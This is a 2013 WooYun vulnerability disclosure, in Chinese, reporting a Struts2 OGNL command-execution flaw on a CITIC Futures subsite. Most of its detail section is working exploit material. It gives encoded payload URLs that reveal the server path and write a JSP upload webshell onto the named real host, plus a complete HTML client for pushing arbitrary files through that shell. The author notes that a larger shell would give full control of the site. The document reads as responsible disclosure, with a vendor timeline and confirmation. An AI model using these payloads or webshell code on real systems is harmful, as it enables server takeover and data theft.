漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-032719
漏洞标题:中信建投期货某分站命令执行漏洞
相关厂商:中信建投期货有限公司
漏洞作者: Love.china.coco
提交时间:2013-07-29 17:15
修复时间:2013-09-12 17:16
公开时间:2013-09-12 17:16
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:10
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-07-29: 细节已通知厂商并且等待厂商处理中
2013-08-02: 厂商已经确认,细节仅向厂商公开
2013-08-12: 细节向核心白帽子及相关领域专家公开
2013-08-22: 细节向普通白帽子公开
2013-09-01: 细节向实习白帽子公开
2013-09-12: 细节向公众公开
简要描述:
S2就不多说了,大家都知道,可以写任意文件和执行。且可以很轻易拿到web shell!
详细说明:
S2漏洞
1.找路径
http://www.cfc108.com/zxjt/gotoYYT.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
2.写文件
http://www.cfc108.com/zxjt/gotoYYT.action?redirect:${
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%221.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
写入一个小马 为1.jsp
3.在本地创建一个 html文件,把下面代码复制进去,充当客户端
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>jsp-园长</title>
</head>
<style>
.main{width:980px;height:600px;margin:0 auto;}
.url{width:300px;}
.fn{width:60px;}
.content{width:80%;height:60%;}
</style>
<script>
function upload(){
var url = document.getElementById('url').value,
content = document.getElementById('content').value,
fileName = document.getElementById('fn').value,
form = document.getElementById('fm');
if(url.length == 0){
alert("Url not allowd empty!");
return ;
}
if(content.length == 0){
alert("Content not allowd empty!");
return ;
}
if(fileName.length == 0){
alert("FileName not allowd empty!");
return ;
}
form.action = url;
form.submit();
}
</script>
<body>
<div class="main">
<form id="fm" method="post">
URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>
FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />
<a href="javascript:upload();">Upload</a><br/>
<textarea id="content" class="content" name="t" ></textarea>
</form>
</div>
</body>
4.打开自己的客户端,在URL中输入 http://www.cfc108.com/1.jsp
filename中输入 css.jpg
内容写 11111 (这里不往里写大马了)
漏洞证明:
网站权重
找路径
上传1.txt的文件 里面值为1
上传JSP小马,结合本地客户端运行
利用小马上传CSS.JSP里面值为 11111的文件,且成功显示(如果我传个大马,就可以拿到 web shell。)危险性极大!
修复方案:
版权声明:转载请注明来源 Love.china.coco@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:7
确认时间:2013-08-02 22:28
厂商回复:
最新状态:
暂无